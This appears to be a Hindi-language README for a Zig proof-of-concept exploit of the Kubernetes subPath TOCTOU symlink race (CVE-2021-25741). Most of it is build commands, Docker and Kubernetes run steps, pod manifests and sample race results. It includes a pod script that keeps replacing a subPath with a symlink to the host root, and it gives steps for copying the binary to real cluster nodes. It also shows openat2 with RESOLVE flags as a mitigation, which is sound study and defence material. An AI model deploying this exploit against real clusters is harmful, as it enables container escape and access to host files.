1. CHECK (जाँच) : lstat(subPath) → "यह एक निर्देशिका है, सुरक्षित है"
     ↕ रेस विंडो — कंटेनर में एक प्रक्रिया निर्देशिका को symlink से बदल देती है
2. USE (उपयोग) : mount(subPath) → symlink का अनुसरण करता है, होस्ट फ़ाइल सिस्टम को माउंट करता है

workdir/
├── legit_dir/
│   └── secret.txt  → सामग्री "LEGIT"
├── symlink_target/
│   └── secret.txt  → सामग्री "PWNED"
└── target/          → वास्तविक निर्देशिका और symlink के बीच स्वैप होता है

src/
├── main.zig       # प्रवेश बिंदु: CLI पार्स, साझा स्थिति बनाता है, थ्रेड स्पॉन करता है,
│                  # समय मापता है, परिणाम प्रदर्शित करता है
│
├── racer.zig      # Racer थ्रेड: प्रारंभिक अवस्था तैयार करता है (target → symlink),
│                  # फिर renameat2(RENAME_EXCHANGE) पर लूप करके target/ और legit_dir/ को स्वैप करता है
│
├── victim.zig     # पीड़ित थ्रेड: fstatat → delay → openat/openat2 → read → "LEGIT" बनाम "PWNED" तुलना के N पुनरावृत्तियाँ
│
├── setup.zig      # परीक्षण संरचना बनाता है: workdir/, legit_dir/,
│                  # symlink_target/, target/ सेंटिनल फ़ाइलों के साथ
│
├── syscalls.zig   # रॉ syscall के लिए स्थिरांक और रैपर:
│                  # - open_how संरचना (kernel UAPI, 3×u64)
│                  # - RESOLVE_* फ़्लैग
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() via linux.syscall4(.openat2, ...)
│                  # - rename_exchange() via linux.renameat2()
│                  # - सहायक: is_err(), to_errno(), to_fd()
│
└── stats.zig      # लॉक-फ्री एटॉमिक काउंटर (std.atomic.Value(u64))
                   # wins, losses, errors, eloop के लिए + स्वरूपित प्रदर्शन

# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (x86 नोड्स के लिए)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

# Docker रनटाइम शुरू करें (यदि macOS)
colima start

# एक्सप्लॉइट चलाएँ (डिफ़ॉल्ट रूप से भेद्य मोड)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

# भेद्य मोड (openat) — रेस काम करती है
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# सुरक्षित मोड (openat2) — रेस अवरुद्ध
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

./scripts/run_in_docker.sh --iterations 10000

# बिना देरी — जीत दर ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — जीत दर ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — जीत दर ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — जीत दर ~50% (सीमित, racer बहुत तेज़ स्वैप करता है)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

race-exploit [options]
  --iterations N     प्रयासों की संख्या (डिफ़ॉल्ट: 10000)
  --delay-us N       lstat और open के बीच माइक्रोसेकंड (डिफ़ॉल्ट: 0)
  --use-openat2      RESOLVE_* के साथ openat2 का उपयोग करें (सुरक्षित मोड)
  --workdir PATH     कार्यशील निर्देशिका (डिफ़ॉल्ट: /tmp/race-workdir)
  --help             सहायता दिखाएँ

# नोड की आर्किटेक्चर के लिए क्रॉस-कम्पाइल करें
# ARM64 (EKS Graviton के साथ, GKE T2A के साथ, आदि)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# या x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# बाइनरी को नोड पर कॉपी करें
scp zig-out/bin/race-exploit user@node:/tmp/

# नोड पर चलाएँ
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# कर्नेल संस्करण जाँचें (openat2 के लिए >= 5.6)
ssh user@node uname -r

# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # बाइनरी पहले यहाँ कॉपी की जानी चाहिए
  restartPolicy: Never

# पहले बाइनरी को नोड पर कॉपी करें
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# पॉड लॉन्च करें
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # यह स्क्रिप्ट कंटेनर में चलती है और subPath को स्वैप करती है
      # जबकि kubelet mount तैयार कर रहा होता है
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← kubelet जाँचता है फिर इस पथ को माउंट करता है
  volumes:
  - name: shared-vol
    emptyDir: {}

# kubelet संस्करण
kubectl get nodes -o wide

# जाँचें कि kubelet में openat2 का उपयोग हो रहा है या नहीं (नोड पर)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

// renameat2(2) : दो फ़ाइल सिस्टम प्रविष्टियों का एटॉमिक स्वैप
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : syscall को पास की जाने वाली संरचना
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, आदि
    mode: u64 = 0,    // अनुमतियाँ (यदि O_CREAT)
    resolve: u64 = 0, // RESOLVE_* फ़्लैग
};

// open_how.resolve के लिए समाधान फ़्लैग
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // किसी भी symlink को अस्वीकार करें
pub const RESOLVE_BENEATH: u64 = 0x08;     // dirfd से ऊपर जाने की अनुमति न दें

पुनरावृत्ति 1: target=dir,     legit_dir=symlink  ← पीड़ित को एक dir दिखता है, सामान्य रूप से खोलता है
पुनरावृत्ति 2: target=symlink, legit_dir=dir      ← पीड़ित symlink का अनुसरण करता है → PWNED

# दोनों थ्रेड के सभी syscalls ट्रेस करें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# दिलचस्प syscalls फ़िल्टर करें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# openat2 के ELOOP देखें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"